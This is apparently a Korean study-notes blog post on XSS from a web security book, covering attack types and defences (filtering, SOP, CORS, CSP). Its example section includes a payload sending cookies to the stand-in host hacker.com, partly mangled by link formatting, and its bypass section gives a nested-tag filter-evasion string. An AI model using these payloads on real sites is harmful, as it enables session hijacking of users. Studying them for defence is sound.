웹 해킹 & 보안 완벽 가이드 12장 정리

2024. 1. 31. 19:14웹 해킹 & 보안 완벽 가이드 정리

12 사용자 공격: XSS (Cross Site Scripting)

1. XSS 란?

(Cross Site Scripting) 의 약자로 악의적인 목적을 가진 공격자가 악성 스크립트를 삽입하여 쿠키 탈취 또는 악성 프로그램 다운로드 유도 등을 할 수 있는 취약점입니다.

2. XSS 종류

2-1 Reflected XSS

웹 사이트 악성 스크립가 담긴 URL을 사용자에게 전달하는 방식

2-2 Stored XSS

서버 (게시판 글쓰기 등) 악성 스크립트를 삽입하고 저장하여 공격하는 방식

2-3 DOM-based XSS

악성 스크립트를 삽입해 DOM 객체를 제어해서 공격하는 방식.

  • what is DOM?
  • 웹페이지를 여는 즉시 생성되는 문서 객체 모델

2-4 Universal XSS (보편 XSS)

브라우저, 플러그인 에서 악성 스크립트가 발생하는 방식

SOP(Same-origin policy) 우회 가능

  • what is SOP(Same-origin policy)?
  • SOP 동일 출처 정책으로 다른 사이트 자원을 못 가져옵니다.

3. XSS 예제

<script>alert(’test’);<script>
document.location = ‘[<<a href=http://hacker.com/cookie?>http://hacker.com/cookie?</a>’+document.cookie>http://hacker.com/cookie?%E2%80%99+document.cookie%3C/script>)>

4. 대응 방안

4-1 길이 제한

4-2 문자 필터링

<,> script location 특정 문자를 필터링한다.

4-3 SOP (Same-origin policy)

SOP 동일 출처 정책으로 다른 사이트 자원을 못 가져옵니다.

4-4 CORS (Cross-Origin Resource Sharing)

SOP 같은 origin들만 접근할 수 있어서 API 사용,등 불편해서 CORS가 나왔습니다.

4-5 CSP (Content Security Policy)

보안 계층의 일종

HTTP Header 또는 meta태그를 이용해서 정책을 통해 구성

5. 우회 방법

5-1 필터링 우회

CRLF Injection를 이용해서

헤더 정보를 header body로 보내 header 정보를 무효화시키는 것이다.

신뢰 도메인 이용

신뢰 도메인에 악의적인 스크립트 업로드 후 불러와서 우회

5-2 필터링 우회

<script> 필터링 시 → <scr<script>ipt>alert(’test’);</scr</script>ipt>

< → &lt > → &gt

img태그 이용